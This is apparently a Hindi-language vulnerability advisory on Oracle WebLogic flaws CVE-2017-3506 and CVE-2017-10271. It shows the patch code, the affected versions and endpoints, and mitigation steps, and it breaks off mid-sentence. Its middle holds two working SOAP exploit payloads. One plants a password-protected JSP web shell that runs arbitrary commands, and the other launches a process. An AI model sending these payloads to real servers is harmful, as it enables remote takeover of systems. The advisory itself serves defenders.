
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
प्रारंभ में, हैकर्स ने WebLogic WLS घटक भेद्यता का उपयोग करके एंटरप्राइज़ सर्वरों पर बड़े पैमाने पर दूरस्थ हमले किए, बड़ी संख्या में उद्यमों के सर्वर से छेड़छाड़ की गई, और हमला किए गए उद्यमों की संख्या में स्पष्ट वृद्धि की प्रवृत्ति देखी जा रही है, जिस पर गंभीरता से ध्यान देने की आवश्यकता है। इनमें से, CVE-2017-3506 Oracle WebLogic में WLS घटक का शोषण करने वाला एक दूरस्थ कोड निष्पादन भेद्यता है, जो बिना सार्वजनिक विवरण के जंगली में शोषण की जाने वाली भेद्यता है, और कई उद्यमों ने समय पर पैच स्थापित नहीं किया है। आधिकारिक ने अप्रैल 2017 में इस भेद्यता के लिए पैच जारी किया था।
CVE-2017-3506 पैच विवरण:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
डिसेरिएलाइज़ेशन से पहले केवल एक validate फ़ंक्शन जोड़ा गया है; यदि qName object के बराबर है, तो यह अपवाद फेंककर समाप्त हो जाता है। इसे सरल और क्रूर कहा जा सकता है, फिर भी यहाँ ब्लैकलिस्ट जैसा फिक्स पूरी तरह से ठीक करना बहुत कठिन है। यह विचारणीय है…
इस भेद्यता का शोषण करना अपेक्षाकृत सरल है; हमलावर को केवल सावधानीपूर्वक तैयार किया गया HTTP अनुरोध भेजना होता है, और वे लक्ष्य सर्वर का नियंत्रण प्राप्त कर सकते हैं, जो अत्यधिक हानिकारक है। चूँकि भेद्यता अपेक्षाकृत नई है, अभी भी कई होस्ट हैं जिन्होंने संबंधित पैच अपडेट नहीं किया है। उम्मीद है कि इस घटना के बाद, हमले की घटनाओं की संख्या में अचानक वृद्धि होगी और बड़ी संख्या में नए होस्ट से छेड़छाड़ की जाएगी।
Oracle के आधिकारिक अप्रैल पैच ने CVE-2017-3506 भेद्यता को पूरी तरह से ठीक नहीं किया; पैच को बायपास करके दूरस्थ कमांड निष्पादित करना अभी भी संभव है। वर्तमान बायपास भेद्यता CVE-2017-10271 को अक्टूबर में जारी आधिकारिक पैच में ठीक कर दिया गया है।
CVE-2017-10271 (wls-wsat दूरस्थ कमांड निष्पादन बायपास भेद्यता)
Oracle WebLogic Server10.3.6.0.0 संस्करण
Oracle WebLogic Server12.1.3.0.0 संस्करण
Oracle WebLogic Server12.2.1.1.0 संस्करण
Oracle WebLogic Server12.2.1.2.0 संस्करण
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>




<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>







http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
wls-wsat तक पहुँचने वाले संसाधनों पर एक्सेस नियंत्रण लागू करें।
अस्थायी समाधान
व्यवसाय को प्रभावित किए बिना, वास्तविक पर्यावरण पथ के अनुसार, WebLogic प्रोग्राम में निम्नलिखित war पैकेज और निर्देशिकाओं को हटाएँ।
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
WebLogic सेवा या सिस्टम को पुनरारंभ करने के बाद, पुष्टि करें कि निम्नलिखित लिंक 404 देता है या नहीं: